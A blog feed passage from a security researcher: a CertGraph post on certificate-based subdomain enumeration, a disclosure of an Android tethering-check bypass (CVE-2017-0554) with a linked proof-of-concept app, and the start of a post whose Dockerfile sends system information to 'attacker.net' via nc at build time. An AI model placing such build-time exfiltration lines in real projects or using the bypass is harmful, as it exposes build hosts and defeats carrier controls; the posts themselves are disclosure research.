The goal of Certificate Transparency is to provide an open auditing and monitoring system that lets any domain owner or certificate authority determine whether their certificates have been mistakenly issued or maliciously used.
Certificate Transparency allows domain owners to be notified whenever a certificate is issued for their domain informing them of any unauthorized certificates that may exist. In near real time!</p>
<p>The actual Certificate Transparency logs are hundreds of gigabytes in size and not indexed, so searching them is not ideal, however, there are public Certificate Transparency search engines that index all of the data for us so we can query it.</p>
<ul>
<li>Comodo&rsquo;s <a href="https://crt.sh/">crt.sh</a></li>
<li><a href="https://transparencyreport.google.com/https/certificates">Google</a></li>
<li><a href="https://developers.facebook.com/tools/ct/">Facebook</a></li>
</ul>
<p>Unfortunately Facebook&rsquo;s tool requires you to be logged into a Facebook account to use it. But it does send you instant notifications whenever it detects a new certificate issued for a domain you are monitoring.</p>
<h1 id="certgraph-examples">CertGraph Examples</h1>
<h2 id="subdomain-enumeration">Subdomain Enumeration</h2>
<p>There are lots of subdomain enumeration tools already (for example <a href="https://github.com/aboul3la/Sublist3r">Sublist3r</a>), but they all work by either brute-forcing domains, or by searching indexes like Google. CertGraph can also help enumerate subdomains, but much faster and with much more accuracy. This is because every domain CertGraph encounters is known to be a valid domain. Although CertGraph may not encounter every subdomain, it should have no false-positives.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>For best results use a Certificate Transparency driver with the <code>-ct-subdomains</code> flag.</p>
      </div>
    </div><h2 id="internal-domain-leakage">Internal Domain leakage</h2>
<p>CertGraph can help enumerate all domains that you may not know are publicly listed inside your certificate alt-names. This can sometimes lead to certificates that are valid for both internal and external hosts being guessed externally, sharing the internal host names with the public. Below is an example of this.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ certgraph -driver crtsh -ct-subdomains netflix.com | grep internal
</span></span><span style="display:flex;"><span>staging-npp-internal.netflix.com
</span></span><span style="display:flex;"><span>issues-internal.nrd.netflix.net
</span></span><span style="display:flex;"><span>dev-npp-internal.netflix.com
</span></span><span style="display:flex;"><span>npp-internal.netflix.com
</span></span><span style="display:flex;"><span>api-internal.test.netflix.com
</span></span><span style="display:flex;"><span>api-int-internal.netflix.com
</span></span><span style="display:flex;"><span>api-int-internal.test.netflix.com
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><h2 id="misconfigured-certificates">Misconfigured Certificates</h2>
<p>The graph visualization that CertGraph can output can be thought of as a trust graph. If a certificate is valid for one domain, which is being hosted with a cert for another domain, we can say that the second domain must trust the owner of the first domain, as they have the certificate for it. This idea can be expanded and chained to incorporate many certificates. If your graph includes many domains which should not have any trust relationship with you, this may indicate a problem.</p>
<p>Below is a real example of this, with the domains changed to red, green, and blue to make it more obvious and to protect the guilty.</p>
<p><code>$ certgraph -json blue.com &gt; data.json</code></p>
<p><img alt="certgraph-tail" loading="lazy" src="/posts/certgraph/images/certgraph-tail.webp"></p>
<p>In this example Red, Green, and Blue are all different organizations, and we run certgraph on only <code>blue.com</code>, which enumerated a handful of Blue&rsquo;s other domains and certificates. However, somehow certgraph ended up reaching <code>green.com</code> and then <code>red.com</code>.  How is this possible? It turns out <code>blue.com</code> was serving a SSL certificate for <code>green.com</code> in an alt-name and <code>www.green.com</code> had an ssl certificate for <code>red.com</code>.</p>
<p>After some digging I learned that Blue previously owned <code>green.com</code> and sold it to Red. But Blue still possesses a valid SSL certificate for <code>green.com</code> and is serving it from <code>blue.com</code>. At this point Blue can SSL man-in-the-middle Red&rsquo;s <code>green.com</code> domain. Take a minute to let that sink in.</p>
<h3 id="cdns">CDNs</h3>
<p>If any of the crawled domains use a <a href="https://en.wikipedia.org/wiki/Content_delivery_network">CDN</a>, CertGraph will skip the CDN certificate by default. CDN certificates may contain hundreds of unrelated alt-names introducing lots of unwanted noise into the data. The <code>-cdn</code> flag causes CertGraph to include CDN results in the search instead of skipping them.</p>
<h1 id="how-certgraph-works">How CertGraph Works</h1>
<p>Currently CertGraph supports 4 different drivers, which are the way CertGraph searches and acquires certificates for domains.</p>
<ul>
<li><strong>http</strong> this connects to domains on port 443 and collects the certificate from the TLS handshake.</li>
<li><strong>smtp</strong> like <code>http</code>, but looks up the MX records of the domains and uses port 25 with <code>starttls</code>.</li>
<li><strong>crtsh</strong> searches Certificate Transparency using <a href="https://crt.sh/">crt.sh</a></li>
<li><strong>google</strong> like <code>crtsh</code> but uses <a href="https://transparencyreport.google.com/https/certificates">Google&rsquo;s Certificate Transparency search tool</a></li>
</ul>
<h2 id="methodology">Methodology</h2>
<p>Under the hood, CertGraph is rather simple. It uses a modified <a href="https://en.wikipedia.org/wiki/Breadth-first_search">Breadth-first search</a> to allow it to crawl the graph while it is being created, and in parallel.</p>
<p>Wildcard domains are normalized to their parent domain. Unfortunately this is required because we do not know which subdomain host to connect to. Example: <code>*.example.com → example.com</code></p>
<p>Certgraph also has a few output modes:</p>
<ul>
<li>Domain list - list all the domains found, 1 per line as they are found (default)</li>
<li>Domain adjacency list - prints more details such as host status, domain&rsquo;s certificate hash, and depth from root in graph (<code>-details</code> flag)</li>
<li>JSON Graph - JSON output for graphing on the <a href="https://lanrat.github.io/certgraph/">Web UI</a> (<code>-json</code> flag)</li>
<li>Save Certificates - Save the certificates in PEM format for later analysis (<code>-save</code> flag)</li>
</ul>
<h1 id="examples">Examples</h1>
<p>Basic usage:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ./certgraph -list eff.org
</span></span><span style="display:flex;"><span>eff.org
</span></span><span style="display:flex;"><span>staging.eff.org
</span></span><span style="display:flex;"><span>leez-dev-supporters.eff.org
</span></span><span style="display:flex;"><span>micah-dev2-supporters.eff.org
</span></span><span style="display:flex;"><span>maps.eff.org
</span></span><span style="display:flex;"><span>web6.eff.org
</span></span><span style="display:flex;"><span>https-everywhere-atlas.eff.org
</span></span><span style="display:flex;"><span>s.eff.org
</span></span><span style="display:flex;"><span>max-dev-supporters.eff.org
</span></span><span style="display:flex;"><span>httpse-atlas.eff.org
</span></span><span style="display:flex;"><span>kittens.eff.org
</span></span><span style="display:flex;"><span>dev.eff.org
</span></span><span style="display:flex;"><span>max-dev-www.eff.org
</span></span><span style="display:flex;"><span>atlas.eff.org
</span></span></code></pre></div><p>The domain adjacency list is printed in the following format:</p>
<p><code>Node Depth Status Cert-Fingerprint [Edge1 Edge2 ... EdgeN]</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ./certgraph -details eff.org
</span></span><span style="display:flex;"><span>eff.org <span style="color:#ae81ff">0</span>       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        <span style="color:#f92672">[</span>maps.eff.org web6.eff.org eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>web6.eff.org    <span style="color:#ae81ff">1</span>       Good    AF842FA69A720E9FB2F37BAF723A20F80B8C2072693E55D0A1EA78C7BABE2699        <span style="color:#f92672">[</span>*.eff.org *.dev.eff.org *.s.eff.org *.staging.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>https-everywhere-atlas.eff.org  <span style="color:#ae81ff">1</span>       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        <span style="color:#f92672">[</span>kittens.eff.org maps.eff.org web6.eff.org eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>maps.eff.org    <span style="color:#ae81ff">1</span>       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        <span style="color:#f92672">[</span>maps.eff.org web6.eff.org eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>atlas.eff.org   <span style="color:#ae81ff">1</span>       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        <span style="color:#f92672">[</span>eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org maps.eff.org web6.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>httpse-atlas.eff.org    <span style="color:#ae81ff">1</span>       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        <span style="color:#f92672">[</span>eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org maps.eff.org web6.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>kittens.eff.org <span style="color:#ae81ff">1</span>       Good    5C699512FD8763FC50A105A14DB2526A10AE6EAC3E79F5F44A7F99E90189FBE5        <span style="color:#f92672">[</span>eff.org atlas.eff.org https-everywhere-atlas.eff.org httpse-atlas.eff.org kittens.eff.org maps.eff.org web6.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>dev.eff.org     <span style="color:#ae81ff">2</span>       No Host         <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>s.eff.org       <span style="color:#ae81ff">2</span>       Good    AF842FA69A720E9FB2F37BAF723A20F80B8C2072693E55D0A1EA78C7BABE2699        <span style="color:#f92672">[</span>*.eff.org *.dev.eff.org *.s.eff.org *.staging.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>staging.eff.org <span style="color:#ae81ff">2</span>       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        <span style="color:#f92672">[</span>max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>leez-dev-supporters.eff.org     <span style="color:#ae81ff">3</span>       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        <span style="color:#f92672">[</span>staging.eff.org max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>micah-dev2-supporters.eff.org   <span style="color:#ae81ff">3</span>       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        <span style="color:#f92672">[</span>max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>max-dev-supporters.eff.org      <span style="color:#ae81ff">3</span>       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        <span style="color:#f92672">[</span>max-dev-supporters.eff.org leez-dev-supporters.eff.org max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>max-dev-www.eff.org     <span style="color:#ae81ff">3</span>       Good    AC3933B1B95BA5254F43ADBE5E3E38E539C74456EE2D00493F0B2F38F991D54F        <span style="color:#f92672">[</span>max-dev-www.eff.org micah-dev2-supporters.eff.org staging.eff.org max-dev-supporters.eff.org leez-dev-supporters.eff.org<span style="color:#f92672">]</span>
</span></span></code></pre></div><h1 id="web-interface"><a href="https://lanrat.github.io/certgraph/">Web Interface</a></h1>
<p>CertGraph also includes a simple web interface for easy visualization of the graph. It can be accessed online at <a href="https://lanrat.github.io/certgraph/">https://lanrat.github.io/certgraph</a> or offline in the docs folder in the program source code.</p>
<p><img alt="CertGraph WEB UI" loading="lazy" src="/posts/certgraph/images/certgraph-webui-1.webp"></p>
<p>The web UI is a single page web interface that can visualize the graph output when using the <code>-json</code> flag. It can be run entirely offline.</p>
<p>Example: <code>$ certgraph -json example.com &gt; example-graph.json</code></p>
<p>You can load your data into the web interface by uploading, pasting, or linking to a JSON file using the data dropdown menu.</p>
<p>For more information and examples, checkout the project <a href="https://github.com/lanrat/certgraph/blob/master/README.md">README on GitHub</a></p>
<h1 id="shmoocon-2018-talk">Shmoocon 2018 Talk</h1>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/OSTnLf7yZtw?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

]]></content:encoded></item><item><title>Tethr: Android Tethering Provisioning Check Bypass (CVE-2017-0554)</title><link>https://lanrat.com/posts/tethr/</link><pubDate>Wed, 27 Dec 2017 02:00:00 +0000</pubDate><guid>https://lanrat.com/posts/tethr/</guid><description>Android security vulnerability (CVE-2017-0554) bypassing carrier tethering provisioning checks on unrooted devices through system property manipulation.</description><content:encoded><![CDATA[<p>On most unrooted, stock, Android phones, enabling <a href="https://support.google.com/nexus/answer/2812516?hl=en">tethering</a> will run a &ldquo;Provisioning Check&rdquo; with your wireless provider to ensure that your data plan allows tethering. This post documents <strong>Tethr</strong>, a way to bypass the provisioning check on Android devices prior to version 7.1.2. After discovering this method I reported it to the Android bug bounty fixing the issue and receiving <a href="https://source.android.com/security/bulletin/2017-04-01#eop-in-telephony">CVE-2017-0554</a>.</p>
<p><img alt="Tethr Screenshot" loading="lazy" src="/posts/tethr/images/Tethr-Screenshot-small.webp"></p>
<h1 id="background">Background</h1>
<p>The ability to tether is controlled by your device&rsquo;s <code>build.prop</code> file, usually located at <code>/system/build.prop</code>. The default is to require the provisioning check before enabling tethering, but it can by bypassed by adding the following line:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>net.tethering.noprovisioning=true
</span></span></code></pre></div><p>Unrooted devices can&rsquo;t edit <code>/system/build.prop</code>, so it is up to the ROM manufacturer to set this property. Some devices like the Google Nexus 6P default to <code>net.tethering.noprovisioning=true</code>. But this is an exception and not the norm. The Google Nexus 5X, Pixel, and Pixel 2 all perform provisioning checks.</p>
<h1 id="overview">Overview</h1>
<p>When enabling tethering on Android, the OS will first do a provisioning check with the carrier to determine if the user&rsquo;s plan allows tethering. If allowed, tethering is enabled, otherwise a message is displayed to the user.</p>
<p>If there is no sim card inserted then no provisioning check is performed, and tethering is allowed. Additionally, if tethering is enabled on a phone with no sim (not that this scenario would be of much use) and a SIM is then inserted, tethering is disabled as it should be.</p>
<p>However, if tethering is enabled while the radio is connecting, no provisioning check will be performed, and tethering will remain enabled after the radio connection is established.</p>
<p>The first issue I discovered is the ability for a user-installed application on a stock OS to reset the cellular modem. The second issue is the lack of a provisioning check once the cellular modem has finished reconnecting.</p>
<p>Together these bugs allow the Android OS to operate as if <code>net.tethering.noprovisioning=true</code> were specified in <code>build.prop</code>, even if it is not.</p>
<h2 id="tethr-demo">Tethr Demo</h2>
<p>Before I dive into the details, observe the following video which demonstrates when enabling tethering in the Android system UI, a provisioning check is performed and tethering is not allowed. Then when using the Tethr demo app, the signal meter loses signal when the modem is resetting, and then tethering is successfully enabled.</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/yyOTh8Qlfn8?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>Source code: <a href="https://github.com/lanrat/tethr">github.com/lanrat/tethr</a></p>
<p>Compiled APK: <a href="https://github.com/lanrat/tethr/raw/master/build/Tethr.apk">Tethr.apk</a></p>
<h1 id="issue-1-resetting-radio-via-reflection">Issue 1: Resetting radio via reflection</h1>
<p>Java Reflection in Android can be used to allow application code to make calls to undocumented, or hidden APIs. This is not officially supported, and often <a href="https://plus.google.com/+RetoMeier/posts/Cz5wQbdaNQB">strongly discouraged</a>. It can however, allow app developers to do unsupported things, or in this case, bypass a permission check.</p>
<p>Resetting  the cellular radio is performed in <a href="https://github.com/lanrat/tethr/blob/master/src/main/java/com/vorsk/tethr/CellRefresh.java">CellRefresh.java</a> by calling <code>CellRefresh.Refresh()</code>.
<code>CellRefresh</code> does a number of things to reset the cellular connection on most Android versions, but on Android 6+ the following reflections are used:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>getSystemService(Context.<span style="color:#a6e22e">TELEPHONY_SERVICE</span>).<span style="color:#a6e22e">getITelephony</span>().<span style="color:#a6e22e">setCellInfoListRate</span>()
</span></span><span style="display:flex;"><span>getSystemService(Context.<span style="color:#a6e22e">CONNECTIVITY_SERVICE</span>).<span style="color:#a6e22e">mService</span>.<span style="color:#a6e22e">setMobileDataEnabled</span>();
</span></span></code></pre></div><p>Older Android versions use the following reflections:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>getSystemService(Context.<span style="color:#a6e22e">CONNECTIVITY_SERVICE</span>).<span style="color:#a6e22e">mService</span>.<span style="color:#a6e22e">setRadio</span>();
</span></span><span style="display:flex;"><span>getSystemService(Context.<span style="color:#a6e22e">TELEPHONY_SERVICE</span>).<span style="color:#a6e22e">getITelephony</span>().<span style="color:#a6e22e">disableDataConnectivity</span>()
</span></span><span style="display:flex;"><span>getSystemService(Context.<span style="color:#a6e22e">TELEPHONY_SERVICE</span>).<span style="color:#a6e22e">getITelephony</span>().<span style="color:#a6e22e">enableDataConnectivity</span>()
</span></span></code></pre></div><h2 id="solution">Solution</h2>
<p>The methods used should require the application to have the system or privileged permissions.</p>
<h1 id="issue-2-tethering-provisioning-check-race-condition">Issue 2: Tethering provisioning check race condition</h1>
<p>In order to exploit the race condition and bypass the tethering provisioning check an Android <code>PhoneStateListener</code> and <code>AccessibilityService</code> are used to programmatically enable the desired tethering mode at exactly the right time.</p>
<p>First the network is reset as described above. While the reset is being performed the <code>PhoneStateListener</code> (<a href="https://github.com/lanrat/tethr/blob/master/src/main/java/com/vorsk/tethr/TetherPhoneStateListener.java">TetherPhoneStateListener.java</a>) listens for when the cellular network is down and then starts the system&rsquo;s settings tethering dialog where the <code>AccessibilityService</code> (<a href="https://github.com/lanrat/tethr/blob/master/src/main/java/com/vorsk/tethr/TetherAccessibilityService.java">TetherAccessibilityService.java</a>) finds the correct UI switch and toggles it.</p>
<p>The <code>AccessibilityService</code> and <code>PhoneStateListener</code> are not strictly required for this exploit. The user can manually toggle tethering at the correct time to have the same effect. Automating the process with an <code>AccessibilityService</code> makes the process easier to reproduce.</p>
<h2 id="solution-1">Solution</h2>
<p>The provisioning check should happen each time the radio is reset when tethering is enabled in addition to checking when enabling tethering.</p>
<h1 id="testing">Testing</h1>
<p>Tested Wireless Carriers:</p>
<ul>
<li>Verizon</li>
<li>AT&amp;T</li>
</ul>
<p>Tested phones (all stock, locked bootloaders, OEM OS):</p>
<ul>
<li>Nexus 5X running Android 6.0.1</li>
<li>Nexus 5X running Android 7.0.0</li>
<li>Nexus 5X running Android 7.1.1</li>
<li>Samsung Galaxy S7 running Android 6.0.1</li>
</ul>
<p>Untested but should also work on:</p>
<ul>
<li>Pixel (XL)</li>
<li>Other non-nexus devices that perform a provisioning check</li>
</ul>
<p>As the Nexus 6P already has <code>net.tethering.noprovisioning=true</code> set in its stock <code>build.prop</code> there is no need for this exploit.</p>
<h1 id="fixes">Fixes</h1>
<p>After submitting to the <a href="https://www.google.com/about/appsecurity/android-rewards/">Android Bug Bounty</a> Google created two patches for Android 7.1.2 which fixed this issue.</p>
<p>Patch 1: <a href="https://android.googlesource.com/platform/packages/services/Telephony/+/aeb795ef2290af1a0e4b14909363bc574e6b3ee7">Added permission check for setCellInfoListRate</a></p>
<p>Patch 2: <a href="https://android.googlesource.com/platform/frameworks/base/+/3294256ba5b9e2ba2d8619d617e3d900e5386564">Fixed the logic for tethering provisioning re-evaluation</a></p>
<p>After fixing the issue Google was kind enough to give me a Pixel XL for reporting it to their bug bounty.</p>
<p><a href="https://github.com/lanrat/tethr/raw/master/build/Tethr.apk"><img alt="Tethr" loading="lazy" src="/posts/tethr/images/tethr-small.webp"></a></p>
]]></content:encoded></item><item><title>Tethr</title><link>https://lanrat.com/projects/tethr/</link><pubDate>Tue, 26 Dec 2017 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/tethr/</guid><description>&lt;p&gt;Tethr is an Android application that demonstrates CVE-2017-0554, a vulnerability that allows bypassing carrier tethering provisioning checks on unrooted devices. The proof-of-concept app exploits system property manipulation to enable mobile hotspot functionality without carrier approval.&lt;/p&gt;
&lt;p&gt;The vulnerability affects Android versions prior to 7.1.2 by allowing modification of tethering-related system properties through reflection and system service manipulation. This research was conducted to highlight security weaknesses in Android&amp;rsquo;s tethering permission model.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Tethr is an Android application that demonstrates CVE-2017-0554, a vulnerability that allows bypassing carrier tethering provisioning checks on unrooted devices. The proof-of-concept app exploits system property manipulation to enable mobile hotspot functionality without carrier approval.</p>
<p>The vulnerability affects Android versions prior to 7.1.2 by allowing modification of tethering-related system properties through reflection and system service manipulation. This research was conducted to highlight security weaknesses in Android&rsquo;s tethering permission model.</p>
]]></content:encoded></item><item><title>Ambergris</title><link>https://lanrat.com/posts/ambergris/</link><pubDate>Thu, 19 Jan 2017 09:23:46 +0000</pubDate><guid>https://lanrat.com/posts/ambergris/</guid><description>Docker security research demonstrating how malicious reverse shells can be embedded in Docker images and executed during the build process.</description><content:encoded><![CDATA[<p>For those of you not in the know, ambergris is defined as:</p>
<blockquote>
<p>a wax-like substance that originates as a secretion in the intestines
of the sperm whale, found floating in tropical seas and used in perfume manufacture.</p>
</blockquote>
<p><img alt="Photo of Whale Barfing" loading="lazy" src="/posts/ambergris/images/whale-barf.webp"></p>
<p>However, that will not be what this post is about (sorry to disappoint). Instead, I&rsquo;ll present what happens when building an image on Docker that contains a reverse shell in the <code>Dockerfile</code>.</p>
<h2 id="docker">Docker</h2>
<p><img alt="Docker Logo" loading="lazy" src="/posts/ambergris/images/docker.webp"></p>
<p>First, let me start with a very brief description of Docker. If you are already familiar with Docker you should skip to the next section.</p>
<p>Docker is an open-source project that automates the creation of environments for Linux applications inside software containers.</p>
<p>Docker containers wrap up a piece of software in a complete filesystem that contains everything it needs to run: code, runtime, system tools, system libraries - anything you can install on a server. This guarantees that it will always run the same, regardless of the environment it is running in.</p>
<p><img alt="Docker Diagram" loading="lazy" src="/posts/ambergris/images/docker-internals.webp"></p>
<h3 id="docker-vs-virtual-machines">Docker vs. Virtual Machines</h3>
<p>Unlike Traditional virtual machines Docker images do not contain the entire OS, just the libraries and resources needed by the application.</p>
<p><strong>VIRTUAL MACHINES:</strong> Virtual machines include the application, the necessary binaries and libraries, and an entire guest operating system &ndash; all of which can amount to tens of GBs</p>
<p><strong>CONTAINERS:</strong> Containers include the application and all of its dependencies &ndash; but share the kernel with other containers, running as isolated processes in user space on the host operating system. Docker containers are not tied to any specific infrastructure: they run on any computer, on any infrastructure, and in any cloud.</p>
<p><img alt="Docker vs VMs" loading="lazy" src="/posts/ambergris/images/docker-vs-vm.webp"></p>
<h3 id="dockerfile">Dockerfile</h3>
<p>The Dockerfile is a set of instructions executed by docker to build an image which can later be run. Below is an example Dockerfile which after being built can be run to print <code>Hello World</code> to stdout.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> <span style="color:#e6db74">debian</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">ENV</span> MESSAGE <span style="color:#e6db74">&#34;Hello World&#34;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#34;</span>$MESSAGE<span style="color:#e6db74">&#34;</span> &gt; /message.txt<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">CMD</span> cat /message.txt <span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>The <code>RUN</code> command in a <code>Dockerfile</code> runs when docker is building the image. <code>CMD</code> or <code>ENTRYPOINT</code> run when the image is being run. Typically all setup for the image is performed in <code>RUN</code> commands while the application the image is being built for starts with the <code>CMD</code> command.</p>
<h2 id="docker-hub">Docker Hub</h2>
<p><img alt="Docker Hub" loading="lazy" src="/posts/ambergris/images/docker-hub.webp"></p>
<p><a href="https://hub.docker.com">Docker Hub</a> is a cloud-based registry service which allows you to link to code repositories, <strong>build your images</strong> and test them, store manually pushed images, and <strong>links to Docker Cloud so you can deploy images to your hosts</strong>. It provides a <strong>centralized resource for container image discovery, distribution</strong> and change management, user and team collaboration, and workflow automation throughout the development pipeline.</p>
<p>Everything should be in the cloud right? ☁</p>
<h2 id="container-lifecycle">Container Lifecycle</h2>
<p><img alt="Docker Lifecycle" loading="lazy" src="/posts/ambergris/images/container-lifecycle.webp"></p>
<ul>
<li><code>$ docker build</code>
<ul>
<li>Create a container on from a Dockerfile</li>
</ul>
</li>
<li><code>$ docker pull</code>
<ul>
<li>Pull a pre-built image from the Docker Hub</li>
</ul>
</li>
<li><code>$ docker run</code>
<ul>
<li>Runs a prebuilt container</li>
<li>Can also build or pull a container if it does not exist locally&hellip;</li>
</ul>
</li>
</ul>
<h1 id="ambergris"><a href="https://github.com/lanrat/ambergris">Ambergris</a></h1>
<p><em>A reverse shell inside your <code>Dockerfile</code></em></p>
<p>So, what would happen if we put a reverse shell in a <code>Dockerfile</code> using <code>RUN</code> commands? Below is a <code>Dockerfile</code> I created to test just that.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-Dockerfile" data-lang="Dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span> <span style="color:#e6db74">busybox</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">ENV</span> POC_HOST attacker.net<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">ENV</span> POC_PORT <span style="color:#ae81ff">1337</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> echo <span style="color:#e6db74">&#34;Please NEVER build this image!&#34;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#66d9ef">RUN</span> <span style="color:#f92672">(</span>echo <span style="color:#e6db74">&#34;== UNAME ==&#34;</span>; uname -a<span style="color:#f92672">)</span> | nc $POC_HOST $POC_PORT<span style="color:#960050;background-color:#1e0010">
